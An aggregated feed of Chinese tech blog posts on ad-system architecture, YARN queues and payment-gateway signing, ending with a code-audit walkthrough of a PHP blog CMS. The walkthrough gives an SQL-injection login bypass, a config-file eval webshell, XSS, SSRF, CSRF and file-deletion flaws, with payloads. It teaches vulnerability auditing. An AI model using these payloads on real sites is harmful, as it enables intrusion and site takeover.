Quantcast
Channel: IT瘾博客推荐
Viewing all 532 articles
Browse latest View live

大型广告系统架构概述 - TigerMee - CSDN博客

$
0
0



在互联网江湖中,始终流传着三大赚钱法宝:广告、游戏、电商。三杰之中,又以大哥广告的历史最为悠久,地位也最为不可撼动。君不见很多电商和游戏公司,也通过广告业务赚的盆满钵满。其发迹于Y公司,被G公司发扬光大,又在F公司阶段性地完成了其历史使命。F公司,在移动互联网兴起之际,利用其得天独厚的数据优势,终于能够回答困扰了广告主几百年的问题:我的广告究竟被谁看到了?浪费的一半的钱到底去了哪里?



从用户角度来看,广告其实是充斥着互联网的每个角落,但正如习惯成自然一样,对于越常见的事物,越少有人究其根本。对于互联网技术人员来说,由于广告业务具有高度的垄断性,能够接触到其本质的工程师相对较少,尤其有过大型系统经验的人更加稀缺。本文的目的在于对大型广告系统的整体架构和其中的设计权衡点有一个全面的介绍,为有志从事该行业的工程师提供一套思考的思路。



另外有几点说明。第一,广告系统一般分为搜索广告和上下文广告,由于上下文广告系统面临的问题要比搜索广告系统更加丰富,因此本文专注于讨论上下文广告系统。第二,本文适合对广告业务有一定了解的工程师,对于业务不了解的同学,推荐阅读刘鹏博士的<<计算广告>>。






俗话说,离开业务谈架构都是耍流氓用一句标准的报告性语言介绍大型广告系统的特点就是:处理的数据量特别巨大,响应速度要求特别快,数据实时性要求特别高,系统可用性要求特别高。面对种种不可思议的困难,最初的一批误打误撞进入广告行业的的互联网工程师们,本着赚钱的目的,通过演杂技一般的对各种技术的拼接,出色地完成了任务。下面逐条分析一下系统特点。



  • 数据量特别巨大

在上下文广告中,系统中一般主要包含四种数据(广告系统所有问题的讨论一般都围绕这四种数据展开)



广告本身的数据。一般包括名字、出价、投放时间、有效性(预算)、标题、描述、跳转链接、图片、视频等。这里的数据量一般不会特别巨大。几十万的广告主,已经足以支撑起业内顶尖的广告公司,广告的数量会比广告主的数量大2个数量级左右。



广告的定向数据。其数据量和系统提供的定向维度有关。例如用户的搜索记录定向,网页分词定向,购买的商品记录定向,APP安装列表定向,用户人群定向等。其中每一种定向维度中,广告主都可以设置大量的定向数据。例如搜索记录定向中,广告+关键词的组合个数甚至会超过int最大值,如果在内存中高效地组织这些数据,是一个挑战。

插一条案例。在团购大战时代,某美国团购鼻祖高调杀入中国,曾经创下过购买百万级关键词的记录,当然最后被中国的资本市场实实在在地教训了一把,结果大家都知道。类似的不理智行为还曾发生在视频大战、电商大战、分类信息网站大战,最终要么合并,要么抱大腿,唯留得广告公司内心窃喜,期待下一场大战爆发。



用户的特征数据其数据量和面向的市场有关。如果面向的是中国市场,那么就要做好处理世界上最复杂问题的准备(下一个这样体量的市场是印度)。君不见各家PR稿,没有3亿用户都不好意思出来打招呼,且不说数据量是真是假以及是否有用,起码这表明了大家都认可“用户数量是衡量广告系统优劣的一大标准”。进一步说,特征数据是根据用户的行为数据计算出来的(例如浏览过哪些页面,购买过什么物品)。数亿的用户,一般都会用历史一段时间的行为数据和当天的行为数据,计算出用户的历史特征和实时特征。注意,用户的行为数据包括用户在广告系统内部和外部两种行为数据。用户在广告系统内部的行为数据包括用户看到广告的展示、点击广告、以及发生转化行为(CPA结算方式)等。用户在广告系统外部的行为数据包括网页浏览记录、交易记录、APP使用记录等。总体数据量是TB级别,而且也涉及到大量的计算,如何高效地计算和存储这些数据,并且保证高效的查询,是用户数据处理的核心问题。当然,用户数据是需要实时更新的,如果保证实时性在下文中讨论。



广告展示环境的特征数据展示环境一般分为网页和APP。处理方法和用户特征数据类似,区别在于量级更加大,涉及的运算更加多。试想,将中国所有(重要的)网站的页面爬取下来并分词,再从其中提取出页面的特征信息,需要处理的数据量级有多少。同时,页面可能会经常变化,因此这项工作需要定期重做。这里存在着投入和产出的衡量,例如访问量很小的网站就没必要抓取;小说类网站页面量巨大,但对广告投放的指导性很差,也可以不抓取;但垂直类网站一般都包含了明确的定向信息,是处理的重点。



一般来说,用户特征和广告展示环境特征的数据会存储在独立的分布式集群中。数据存储在内存和磁盘两级,内存中存放热点数据,磁盘中存放全量数据。同时,内存中的数据包括历史数据和实时数据两部分,实时数据流会更新实时数据,在查询的时候,集群负责同时查历史和实时两份数据,合并后将结果返回。



广告数据和广告的定向数据一般存储在检索服务内部,在初期都是全内存的数据结构。当数据逐渐增长,超出单机内存存储极限之后,可以先进行水平拆分,即多个检索服务器组成一个分组,一个分组维护全库数据,在查询时同时查询一个分组内的每台机器,由上游机器对结果做合并。再进一步,因为并不是所有数据都可以进行拆分,数据仍然可能超出单机存储极限,这时可以采用内存-磁盘两级存储的结构,也可以拆分出单独的服务。由于广告系统一般都存在热点数据,因此内存-磁盘两级存储是优先的考虑方案。同时,仔细地设计内存中的数据结构,高效地建立索引,能带来巨大的收益。

一般系统使用的存储结构是B+树,如果使用不当会造成内存的巨大浪费,在后续的文章中会有专门的篇幅讨论这个问题



  • 响应速度要求特别快

这一点毋庸置疑,广告对于网站或者APP是附加功能,只能比内容更快地展现给用户。同时,一些特定的广告形式对用户有跳出感,例如开屏、插屏广告,对响应时间要求更加短。另外,在RTB系统中,由于exchange的存在,增加了一次网络请求,DSP系统的响应时间就要更加短。一般来说,一次对广告系统的请求必须在100ms以内完成。其中60%-70%的时间消耗在网络中,另外的部分是主要消耗在核心检索模块中。



网络包括媒体和广告系统之间的网络,和广告系统各模块之间的网络交互。在设计架构时,既要保持系统一定的可扩展性和可伸缩性,也要考虑尽可能地减少内部网络请求次数。同时,在设计和选择RPC框架时,要充分考虑QPS,latency,请求长度三个因素。



核心检索模块中,一次请求会触发多个定向策略同时检索,因此索引数据设计的是否高效是决定检索性性能的核心要素。因为大量的查询操作,CPU往往会成为检索系统的瓶颈,所以很多检索模块的QPS并不高。在实战中,对索引的使用不当也会造成性能的下降,因此需要工程能力比较强的人做 code review 把关。



  • 实时性要求特别高

实时性是指数据更新的实时性。下面逐条讨论。



广告数据的实时性这里最频繁变化的是广告有效性和出价。例如,广告必须在广告主指定的时间段内投放,时间变化时,必须及时上下线。广告主出价发生变化时,必须立即反馈到系统中。广告预算消费完毕后,必须立即将广告下线。

以CPC系统为例,曾经有很长一段时间,很多广告主利用广告系统计费的延迟性骗取大量的点击。例如,给广告设定一个很小的预算(可能只够一次点击),实际产生点击和检索系统接收到计费数据之间,可能会有分钟级的延迟,这期间发生的其他点击,产生的费用广告主就无需支付。



广告定向数据的实时性与广告数据类似,不展开讨论。



用户特征数据的实时性用户特征数据往往是根据用户的历史行为计算出的一些兴趣点数据,在起初对实时性的要求并不是很高,主要是因为用户的兴趣点形成往往是一个长期过程,并且变化很平缓。例如,喜欢足球的用户可能每天都会看一下体育新闻的足球页面,餐饮、母婴、装修、军事等垂直领域的用户,也会长期关注相关网站。然而随着电商的兴起,以及移动互联网将时间更加碎片化,用户的兴趣点转移变得非常快。例如,某用户最近对相机比较感兴趣,在某电商网站浏览了10分钟相机产品后离开,打开门户网站开始浏览新闻,这时如果出现了相机广告,将很可能引起转化,这其实是电商类广告最有效的定向方式——retargeting。当然,这只是为了说明实时性的重要程度而举的一个非常粗浅的例子,其中有很多细节有待考量。例如用户如果发生了购买行为之后,显然不应该再推送相机广告。有些快消类产品,重复购买率高,可以定期给用户推荐,但类似相机、汽车、房产等大宗商品,在用户发生购买后,显然不应该再继续投放,而应该投放与此相关的其他广告。在策略处理上,对不同类型的兴趣点的时效性应该区别对待。



另外,在RTB系统中,这一点尤为重要。试想相机的例子,当用户已经发生购买之后,DSP如果没有识别出该行为,认为用户仍然具有该兴趣点,继续出高价购买流量,显然是收益极低甚至可能亏损的。



广告展示环境的特征数据的实时性网页和APP的内容一般不经常发生变化,抓取一次可以在很长一段时间内是有效的。比较特殊的是新页面,尤其是内容类网站(例如旅游攻略,实时新闻),每天会产生大量的新页面,如果不能及时抓取,在广告投放过程中就无法利用广告展示环境的数据。尤其在移动端,用户的场景化更加强烈,在未来场景定向的重要程度很可能会超过用户定向。在传统的PC广告系统中,一般是将网站分级,优先级越高的网站爬去的频率越高,甚至是API对接。在移动端,有一种方案是在请求中带入网页的重要特征,例如标题、重要关键词等,这需要媒体的支持,广泛使用还有待时日。另外,实战中还往往采用 near line 的设计模型,即当发现请求中出现了新的页面,实时通知爬虫立即爬去并分析,在处理后续的请求中使用。



用户特征数据和网页/APP的特征数据往往数据量巨大,为了能够高效地利用内存,存储这些数据的缓存集群往往使用了只能提供读取功能的数据结构。因此,一般是将历史的特征和实时的特征分开存储在不同的数据结构中,实时的特征可以随时更新,只存储当天数据,在查询时,同时查询两个数据结构,将结果合并后返回。



  • 系统可用性要求特别高

这一点比较容易理解,分分钟都是钱,所以广告系统一般都有大量的热备冗余机器,部署在多地多个机房。除了常见的分布式系统高可用方案之外,广告系统还有如下两个重要的方案。



自动降级由于上文讨论的实时性问题,广告系统很难像传统用户类网站一样,提供一些静态的只读内容,以备在集群全体宕机的时候使用。但在系统内部设计中,可以做到模块级别的容灾,系统化点的称为叫自动降级。即当某些模块出现问题的时候,或者系统资源不够用的时候,系统能够自动地移除出问题的模块,或者非核心模块,保证基本功能可用。比较典型的例子是,如果某一种策略的计算逻辑出现问题,或者CTR预估集群整体宕机,系统还能够正常返回广告,只是收益不如原来高。当然,自动降级只是一种防御手段,当发生这种情况的时候,应该视为线上集群整体宕机同等严重的事故,必须第一时间处理。例外的情况是自动降级是人为预期的,例如有些业务激增场景一年只发生一次,公司不可能为此常年准备大量机器,此时也可以用自动降级的手段保证业务基本可用。



减少启动时间前文提到,大型广告系统使用的数据量甚至会超过单机内存极限,这时系统的启动时间会非常可观。例如笔者曾经开发过的广告系统,即使进行了水平拆库,单机使用内存仍然达到50G以上,启动时间在30分钟左右,经过后续的优化减少到15分钟。减少启动时间,主要好处有两个:减少运维成本,减少容灾成本



减少运维成本。和其他互联网系统一样,广告系统也会采用快速迭代的上线方案。有几千台服务器的广告系统,可能会一周多次上线。上线时,为了使服务仍然可用,会分批操作,例如一次只操作5%的机器。这对运维人员是非常痛苦的一个过程。例如1000台机器,每次操作5%,每台机器启动时间在30分钟,整体上线流程将达到10小时,这样的事情每周发生几次,显然是无法接受的。当然,可以选择流量低谷的时间段上线,增加每次操作的机器数量,这样又引入了运维成本。因此减少系统启动时间意义重大。



减少容灾成本。很长的启动时间,会使系统在请求量激增的情况下无法及时使用冷备机器扩容,而增加很多热备机器,第一会增加成本,第二实际情况还是可能会超出预留。而且,当热备机器也难以处理所有请求时,很可能会导致刚刚启动完毕的机器也被打满而无法正常提供服务,触发雪崩效应。此时,必须切断所有服务,重启集群,等所有服务都重启并检验数据完毕后,才能开始对外提供服务。一般来说,当我们听说一些大型网站发生整体宕机,若干小时后才恢复,很可能都是发生了雪崩事故。

据说,历史上某E字辈美国购物网站曾经发生过一次这样的案例,导致整体服务宕机8小时。近两年Amazon的公开的几次事故恢复时间也都在小时甚至天级别,都和复杂的启动流程有关。






作为大型广告系统架构的开篇,本文主要阐述了大型广告系统面临的核心问题的业务来源、处理方案、以及选择方案的时候考虑的一些权衡点。在接下来的文章中,会深入每个模块,详细地讨论技术细节。下一篇会重点讨论检索模块,欢迎关注。


利用yarn多队列实现hadoop资源隔离 - bbaiggey_bigdata的博客 - CSDN博客

$
0
0

大数据处理离不开hadoop集群的部署和管理,对于本来硬件资源就不多的创业团队来说,做好资源的共享和隔离是很有必要的,毕竟不像BAT那么豪,那么怎么样能把有限的节点同时分享给多组用户使用而且互不影响呢,我们来研究一下yarn多队列做资源隔离

请尊重原创,转载请注明来源网站www.shareditor.com以及原始链接地址

CapacityScheduler

使用过第一代hadoop的同学应该比较熟悉mapred.job.map.capacity/mapred.job.reduce.capacity这个参数,无论是map还是reduce都可以配置capacity(也就是并发数),表示同时可以有多少个map(或reduce)运行,通过这个参数可以限制一个任务同时占用的资源(节点)数,这样不至于影响其他任务的执行。

在这里有人会问:我把任务的priority设置成VERY LOW不就行了吗?其实这样在某些场景下不能解决全部问题,因为假如你一个VERY LOW的任务刚启动时没有其他人的任务,那么会先占用所有节点,如果你的每一个task运行时间都是1天,那么其他任务就算优先级再高也只能傻等一天,所以才有必要做资源隔离

第二代hadoop因为使用yarn做资源管理,没有了槽位的概念,所以就没有了capacity。但是在yarn中专门有了CapacityScheduler这个组件。这是一个可插装的调度器,它的用途就是对多用户实现共享大集群并对每个用户资源占用做控制

对于很豪的公司来说,每个用户(团队)自己有一个hadoop集群,这样可以提高自身的稳定性和资源供应,但是确降低了资源利用率,因为很多集群大多数时间都是空闲的。CapacityScheduler能实现这样的功能:每个组固定享有集群里的一部分资源,保证低保,同时如果这个固定的资源空闲,那么可以提供给其他组来抢占,但是一旦这些资源的固定使用者要用,那么立即释放给它使用。这种机制在实现上是通过queue(队列)来实现的。当然CapacityScheduler还支持子队列(sub-queue),

hadoop资源分配的默认配置

我在博客中已经描述了整体一套hadoop搭建的方法。那么在搭建完成后我们发现对于资源分配方面,yarn的默认配置是这样的

也就是有一个默认的队列

事实上,是否使用CapacityScheduler组件是可以配置的,但是默认配置就是这个CapacityScheduler,如果想显式配置需要修改 conf/yarn-site.xml 内容如下:

<property><name>yarn.resourcemanager.scheduler.class</name><value>org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.CapacityScheduler</value></property>

上面图中标明了默认队列是default,是使用了CapacityScheduler的默认配置

我们看一下有关这里的default是怎么配置的,见capacity-scheduler.xml配置:

<property><name>yarn.scheduler.capacity.root.queues</name><value>default</value><description>The queues at the this level (root is the root queue).</description></property>

这里的配置项格式应该是yarn.scheduler.capacity.<queue-path>.queues,也就是这里的root是一个queue-path,因为这里配置了value是default,所以root这个queue-path只有一个队列叫做default,那么有关default的具体配置都是形如下的配置项:

yarn.scheduler.capacity.root.default.capacity:一个百分比的值,表示占用整个集群的百分之多少比例的资源,这个queue-path下所有的capacity之和是100

yarn.scheduler.capacity.root.default.user-limit-factor:每个用户的低保百分比,比如设置为1,则表示无论有多少用户在跑任务,每个用户占用资源最低不会少于1%的资源

yarn.scheduler.capacity.root.default.maximum-capacity:弹性设置,最大时占用多少比例资源

yarn.scheduler.capacity.root.default.state:队列状态,可以是RUNNING或STOPPED

yarn.scheduler.capacity.root.default.acl_submit_applications:哪些用户或用户组可以提交人物

yarn.scheduler.capacity.root.default.acl_administer_queue:哪些用户或用户组可以管理队列

当然我们可以继续以root.default为queue-path创建他的子队列,比如:

<property><name>yarn.scheduler.capacity.root.default.queues</name><value>a,b,c</value><description>The queues at the this level (root is the root queue).</description></property>

这是一个树结构,一般和公司的组织架构有关

配置好上述配置后执行

yarnrmadmin -refreshQueues

生效后发现yarn队列情况类似下面的样子(配置了两个队列:research和default):

如果希望自己的任务调度到research队列,只需在启动任务时指定:mapreduce.job.queuename参数为research即可

支付网关的设计 - 凤凰牌老熊的博客 | Shamphone Blog

$
0
0

在支付系统中,支付网关和支付渠道的对接是最核心的功能。其中支付网关是对外提供服务的接口,所有需要渠道支持的资金操作都需要通过网关分发到对应的渠道模块上。一旦定型,后续就很少,也很难调整。而支付渠道模块是接收网关的请求,调用渠道接口执行真正的资金操作。每个渠道的接口,传输方式都不尽相同,所以在这里,支付网关相对于支付渠道模块的作用,类似设计模式中的wrapper,封装各个渠道的差异,对网关呈现统一的接口。而网关的功能是为业务提供通用接口,一些和渠道交互的公共操作,也会放置到网关中。

支付网关在支付系统参考架构图中的位置如下图所示:

Gateway Position

功能概述

支付系统对其他系统,特别是交易系统,提供的支付服务包括签约,支付,退款,充值,转帐,解约等。有些地方还会额外提供签约并支付的接口,用于支持在支付过程中绑卡。 每个服务实现的流程也是基本类似,包括下单,取消订单,退单,查单等操作。每个操作实现,都包括参数校验,支付路由,生成订单,风险评估,调用渠道服务,更新订单和发送消息这7步,对于一些比较复杂的渠道服务,还会涉及到异步同通知处理的步骤。

一般来说,支付主流程会涉及到如下模块:

Image of Portal System

  1. 商户侧应用发起支付请求。注意,这个请求一般是从服务器端发起的。比如用户在手机端提交“立即支付”按钮后,商户的服务器端会先生成订单,然后请求支付网关执行支付。
  2. 支付请求被发送到支付(API)网关上。网关对这个请求进行一些通用的处理,比如QPS控制、验签等,然后根据支付请求的场景(网银、快捷、外卡等),调用对应的支付产品。
  3. 支付产品对用户请求进行预处理,包括执行参数校验、根据支付路由寻找合适的支付通道、评估交易风险、生成订单、调用通道落地执行支付、响应通道的结果并将交易结果通知到商户侧。
  4. 支付产品调用支付通道执行支付。这个请求并不是直接落地到通道上,而是通过支付通道前置来封装,由支付通道前置来完成和通道的交付。 支付产品是按照可以提供的支付服务来设计的。
  5. 支付通道前置,(以下在不引起混淆的情况下,都简称支付通道)负责和支付通道之间的通讯,调用支付通道接口完成最终的支付操作。

不同类型的支付产品,其对外提供的接口也会有区别。 后续分类别介绍各种支付产品的设计。 这里重点介绍支付API网关设计、支付产品的整体流程实现。 而软件架构的设计,是基于微服务架构来描述的。

支付(API)网关

支付网关是直接对接业务系统的接口,它本身并不执行任何支付相关的业务逻辑。它将支付产品接口中和业务无关的功能提取出来,在这里统一实现。这样在具体产品接口中,就无需考虑这些和业务无关的逻辑。支付网关设计还和对外的接口参数有关。我们看一下业内几个主流的支付平台的接口设计。

支付宝

对外接口采用统一参数的方式,参考APP请求参数说明。 接口参数分为三层: 公共参数、业务参数、还有业务扩展参数。 其中公共参数是各个请求接口中公用的。

Alipay

业务相关的参数,通过特定的规则拼接再biz_content上。最后将参数生成签名,放到sign字段中。

支付宝的接口混合json格式和query string格式,在参数命名上,既有下划线方式的,也有驼峰的。英文单词的使用也不太规范。期待后续版本能做的更好。

微信支付

和支付宝不一样,微信支付是采用XML格式来作为报文传输。在其接口文档说明中, 对XML报文格式有详细的描述。当然,也使用签名字符串来保证接口的安全,签名结果放在sign标签下。

在接口设计上,和支付宝还有一些差距。有些参数命名不一致,比如商户号,有些接口中叫mch_id,有些接口是partnerid。

PayPal

PayPal是标准的Restful设计,将支付中涉及到的对象,如Payment, Order, Credit Card等,以资源的形式,支持通过Restful API来操作。PaypalPayPal的定位以及设计目标和国内第三方支付平台不同,它以支持国际营收为主。对国内应用来说,其易用性和支付宝、微信支付相比还稍逊一些,不过Paypal一直是支付API设计的典范。

对电商支付平台来说,其定位更接近于一个聚合支付。聚合多种支付方式,为公司各个业务提供支持。 在这里,支付网关和支付产品的设计尤为关键。合理的接口设计能够大大降低支付渠道对接的开发工作量。一般支付产品不会超过10个,而根据公司的规模,对接的支付渠道超过100个都有可能。

设计原则

如上所述,支付网关、支付产品和支付渠道的职责分工为:

  1. 按照支付能力来划分支付产品。
  2. 同一支付能力的公共支付流程,在支付产品中实现。 支付产品提供的是和渠道无关的、和支付能力流程相关的功能。
  3. 在各支付产品中,其和支付能力无关的公共功能,在支付网关上实现。

按照这个分工,在支付网关上实现的主要功能:

  1. API路由。在聚合支付场景下,当有多个支付产品可以提供支持时,使用支付网关可以让接入方对接时无需考虑支付产品的部署问题。
  2. 接口安全: 熔断、限流与隔离。 这对支付服务来说尤为重要。 这是微服务架构的基本功能,本文不做描述。

如下功能,是在支付产品中提供:

  1. 风控拦截: 风控是和支付产品有关,不同产品的风控措施、处理对策也是不同的,所以风控是在产品层实现。
  2. 支付路由: 路由也是和产品有关。不同产品路由策略也不同。
  3. 参数校验: 这也是和支付产品相关的,不同的产品接口其参数也不同。
  4. 支付流程: 生成交易记录、落地渠道执行支付、同步和异步通知等操作。

如下功能,可以在产品层或者网关层实现:

  1. 身份验证: 确认付款方、收款方、渠道是否有执行当前操作的权限。 在那一层实现取决于这些信息是否有提炼为公共行为。
  2. 验签: 对接口参数进行签名并验证其签名。这是为了避免接口被盗刷和篡改的必要手段。如果对各个接口采用统一的签名规则,则可以在网关层实现。

签名和验签

API路由、接口安全这两块内容是微服务的基本模式,本文不再介绍。有兴趣同学可以参考相关资料。这里重点说下支付所必须的签名和验签。

对接口进行签名是防止接口被盗刷的重要手段。大部分第三方支付和银行的接口签名规则类似。 query string格式参数可以参考支付宝的签名过程, XML格式的可以参考微信支付的签名过程。其实两者都是类似的。 他们的签名和验签过程可以为支付系统服务器端和商户侧交互提供参考。

主流的加密算法有RSA、MD5和DES。支付宝使用RSA, 微信支付使用MD5。

  1. 使用RSA来签名,需要商户侧提供RSA的公钥给支付系统,将私钥自己保存。商户侧使用私钥来加密请求字符串,支付系统使用公钥来解密。
  2. 使用MD5来签名,需要商户侧和支付系统都保留MD5的Key。商户侧和支付系统都使用这个Key来加密请求字符串,验证结果是否一致。

加密的一个通用过程是:

  1. 将各个参数拼接成一个有序的字符串。 参数是key=value的格式, 按照key的字符顺序排序,以&或者其他符号来拼接。
appidwxd930ea5d5a258f4fmch_id10000100device_info1000bodytestnonce_stribuaiVcKdpRxkhJA

这种请求,将被拼接为:

appid=wxd930ea5d5a258f4f&body=test&device_info=1000&mch_id=10000100&nonce_str=ibuaiVcKdpRxkhJA
  1. 使用RSA对字符串进行签名,生成签名字符串。
cYmuUnKi5QdBsoZEAbMXVMmRWjsuUj%2By48A2DvWAVVBuYkiBj13CFDHu2vZQvmOfkjE0YqCUQE04kqm9Xg3tIX8tPeIGIFtsIyp%2FM45w1ZsDOiduBbduGtRo1XRsvAyVAv2hCrBLLrDI5Vi7uZZ66Lo5J0PpUUWwyQGt0M4cj8g%3D

3.将签名字符串拼接到原请求中,生成最终的字符串。

appid=wxd930ea5d5a258f4f&body=test&device_info=1000&mch_id=10000100&nonce_str=ibuaiVcKdpRxkhJA&sign=cYmuUnKi5QdBsoZEAbMXVMmRWjsuUj%2By48A2DvWAVVBuYkiBj13CFDHu2vZQvmOfkjE0YqCUQE04kqm9Xg3tIX8tPeIGIFtsIyp%2FM45w1ZsDOiduBbduGtRo1XRsvAyVAv2hCrBLLrDI5Vi7uZZ66Lo5J0PpUUWwyQGt0M4cj8g%3D

服务器端在接收到这个请求后,使用RSA的公钥来解密sign字段,如果解密成功,则对比解密结果和原始请求是否一致。 如果是使用MD5,则在商户侧和支付系统都使用这个过程来加密,检查最终的结果是否一致。

下一步

整体上来说,支付网关的设计还是比较简单的,和业务相关的逻辑,会落在支付产品层去实现。 下一篇将介绍支付产品的设计。

2016.11.02 初稿

2017.03.15 修订,增加支付产品相关的内容


感谢您对本文的关注,如需要及时收到凤凰牌老熊的最新作品,或者有相关问题探讨,请扫码关注“凤凰牌老熊”的微信公众号,在公众号里留言或者回复,可以尽快处理,谢谢。

本文欢迎转载,转载时请注明本文来自 微信公众号“凤凰牌老熊”。

浅谈代码审计入门实战:某博客系统最新版审计之旅

$
0
0

第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着。。。缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下。

身份验证漏洞

首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里 ad/login.php先看代码

function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);  @$loginlong=$_POST["loginlong"];  setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');  $tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk);

这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过

username=qweq' or 1=1# password=123

任意文件修改导致getshell

进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的 setconfig.php我们先看一下大致的表单提交格式

<?function save(){ global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath; $file="../cmsconfig.php"; $text = file_get_contents($file); $text2=$text; $text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2); $text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2); $text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2); $text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2); $text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2); $text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2); $text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2); $text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2); $text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2); ?>

这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

浅谈代码审计入门实战:某博客系统最新版审计之旅

所以我们可以构造一句话插入

";@eval($_POST['cmd']);/*

浅谈代码审计入门实战:某博客系统最新版审计之旅

然后用菜刀链接 cmsconfig.php文件

XSS

既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在 art.php先大致看一下代码有无过滤

添加文章

<?php  function addart(){ $_SESSION['jdate']='';$_SESSION['jid']=''; global $webauthor,$date,$weburl; global $tabhead; $title=$_GET['title']; $content=$_GET['content']; ?>

这里乍一看是没有进行过滤的,接着找一下表单结构

<div id=addart_left> <span id="jieguo"></span> <form id="frm" name="frm" method="post" action="?g=editsave" > <input name=id type=hidden value="<?=$id?>" > <p><input  style="width:400px" type=text name=title value="<?=$title?>" >文章标题,严禁特殊符号</p> <p><input  style="width:400px"  name=htmlname type=text value="<?=$htmlname?>" >html别名,静态目录,严禁特殊符号</p>  <p ><input  style="width:400px;"  type=text name=pic id=pic_txt value="<?=$pic?>" title="您可在这里直接输入图片地址如http://www.axublog.com/logo.jpg" onchange="changepic2()" >填写缩略图网址   </p>  <p><textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;"><?=htmlspecialchars($content);?></textarea></p> </div>

这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了 tags参数添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数

$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];} $tags=htmlnameguolv($tags);

跟进去过滤函数

function htmlnameguolv($str){ $str = str_replace('`', '', $str);     $str = str_replace('·', '', $str);     $str = str_replace('~', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('@', '', $str);     $str = str_replace('#', '', $str);     $str = str_replace('$', '', $str);     $str = str_replace('¥', '', $str);     $str = str_replace('%', '', $str);     $str = str_replace('^', '', $str);     $str = str_replace('……', '', $str);     $str = str_replace('&', '', $str);     $str = str_replace('*', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('——', '', $str);     $str = str_replace('+', '', $str);     $str = str_replace('=', '', $str);     $str = str_replace('|', ',', $str);     $str = str_replace('//', '', $str);     $str = str_replace('[', '', $str);     $str = str_replace(']', '', $str);     $str = str_replace('【', '', $str);     $str = str_replace('】', '', $str);     $str = str_replace('{', '', $str);     $str = str_replace('}', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace('/'', '', $str);     $str = str_replace('"', '', $str);     $str = str_replace('“', '', $str);     $str = str_replace('”', '', $str);     $str = str_replace(',', ',', $str);     $str = str_replace('<', '', $str);     $str = str_replace('>', '', $str);     $str = str_replace('《', '', $str);     $str = str_replace('》', '', $str);     $str = str_replace('.', '', $str);     $str = str_replace('。', '', $str);     $str = str_replace('/', '', $str);     $str = str_replace('、', '', $str);     $str = str_replace('?', '', $str);     $str = str_replace('?', '', $str); return $str; }

写了一堆替换,也没想到啥绕过方法,然后又换了另一个参数 title这回发现这个参数并没有进行过滤,这是在输入的时候给了个不要输入特殊字符的警告。

浅谈代码审计入门实战:某博客系统最新版审计之旅

前台查看文章

当然这里也是存在二次注入的

SSRF

问题处在 /go/index.php,关键代码如下

<?php   $u=$_GET['u']; $u=strtolower($u);   $u='http://'.str_replace('http://','',$u);    ?> <script>location.href="<?=$u?>"</script>

u是我们可控的参数,也是一个地址,我们可以直接传入一个内网地址,实现主机发现或者端口扫描

CSRF

问题出在 /ad/admin.php,关键代码如下

<?function add(){?> <ul> <li><a  target="main" href='right.php'><b>您的位置:后台首页</b></a> > <a  target="main" href='admin.php'><b>管理员列表</b></a> >  <a  target="main" href='admin.php?g=add'><b>添加管理员</b></a> </li> </ul> </div> <div id=adform> <form id="frm" action="?g=addsave" method="post"> <p><input id=text type="text" name="ad_user" size=20 value="">请输入帐号</p> <p><input id=text type="password" name="ad_psw" size=20 value="">请输入密码</p>  <p><input id=text type="password" name="ad_psw2" size=20 value="">重新输入密码</p>  <p><button id="send" onclick=submit() >添加</button></p> </form> </div> <?}?>

这里并没有做相应的token认证所以可能存在csrf漏洞,我们用burp截包

浅谈代码审计入门实战:某博客系统最新版审计之旅

这里有个小技巧可以直接用burp直接生成csrf钓鱼页面完成后丢弃这个包,我们先看我们的管理员有几个

点击html页面的提交

浅谈代码审计入门实战:某博客系统最新版审计之旅

再后来看我们的管理员

任意文件删除

问题处在 /app/dbbackup/index.php中关键代码如下

if($g=='del'){ $p=$_REQUEST['p']; if($p==''){echo '<script>alert("文件名为空,无法删除!");location.href="?"</script>';} unlink($p);

